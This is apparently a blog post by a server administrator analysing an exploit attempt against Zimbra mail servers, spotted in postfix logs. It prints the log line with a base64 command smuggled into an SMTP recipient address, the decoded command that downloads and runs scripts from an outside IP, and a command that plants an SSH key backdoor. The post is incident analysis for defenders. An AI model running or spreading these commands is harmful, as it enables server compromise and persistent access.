Archive for September, 2026

Zimbra exploit

Tuesday, September 1st, 2026

postfix logs are sometimes interesting. See here:


2026-08-30T07:23:30.237580+00:00 manta postfix/smtpd[1103478]: NOQUEUE: reject: RCPT from unknown[192.243.105.20]: 550 5.7.1 Client host rejected: cannot find your reverse hostname, [192.243.105.20]; from=test@example.invalid to=<"x: Service status change: localhost $(echo 'Y3VybCAtc1MgMTQ3LjE4Mi4yMjQuMjE2L3plZHxwZXJsICYmIGN1cmwgLXNTIDE0Ny4xODIuMjI0LjIxNi9oaC5zaHxiYXNoCg=='|base64 -d|bash) changed from stopped to running"@cve.invalid> proto=ESMTP helo=<mx-test.invalid>

That does not look like reasonable smtp-chat ..the “echo” command translates to:

curl -sS 147.182.224.216/zed|perl && curl -sS 147.182.224.216/hh.sh|bash

The downloaded “zed” file is an attacking IRC client (bot), controlled by the IRC server 89.47.232.104.

File can be found here: irc-client

The hh.sh installs an SSH public key as a persistent backdoor by appending it to

/opt/zimbra/.ssh/authorized_keys

This looks like:

echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeIfOA/sN/0yWH46X1rdnMq97nWkntL+M4gjtQjzgitj0nHT1+Gou9IN6oFTLhEIsklzWxUl/ZL5DwWrRiC+op4VsuHgD2+FzHIWQgO1Uqq2o0mjc7jBNDaUZGDughILDcl6OFeeViMkjJQpnnCFGEIT6DQEut+Cw9dLEcuzw9RN2QNa6RhLU02aqderBP+6E2tL74LMcr+vrzMvPlyTufKf7SeGgQ4pn0vp6ZZM6llT6h1lImhcEcdtyPfRVo+hFM2cA0wIrh0GcTU0/r3SiZfPvndVV4y8GhgndKgQxpGJ2/CVu/KN/vmkNGAWQTwZRu6TwNhb7c2Nsjim9N79foh1Nu3gNujr4Zg/pnOIbcqf0yOEpMJunZV3XX55FAaAXr2E5kkcJWd5K6j2DX590AT2y6hfVF0BQMrDkaRlOm65d3Tr+gfeUCQhu27gdoW1Big9SX+FgUgPptjQYwSzufImnFBn/sTl87t3JGt1bhuwroijdq69dc7d7A0tB5636INyM2RwaJx5dRxL39SDF1ZhVXHQA+FzykTLydll8x8t/lpV+zqB5aUZlgkLVDPaWyqh7SZcXv/eZK/fintNzI4UBOgH4kzhVjKOoCGEZc1/sDDAxlFe1LzaCA/x3yl5OmrXy8XzyhjG4JSDqCO4hHQXXq+LDNu6GqigWTFSIwKw== my-server-key-2026" >> /opt/zimbra/.ssh/authorized_keys;chmod 600 /opt/zimbra/.ssh/authorized_keys

This exploit seems to work against “ZIMBRA” ; some CVE were published on 28.8.26 This attack here might be related to CVE-2026-73570, an unauthenticated command injection vulnerability via specially crafted SMTP requests which is currently being actively exploited. I have not verified that this particular attack actually uses CVE-2026-73570.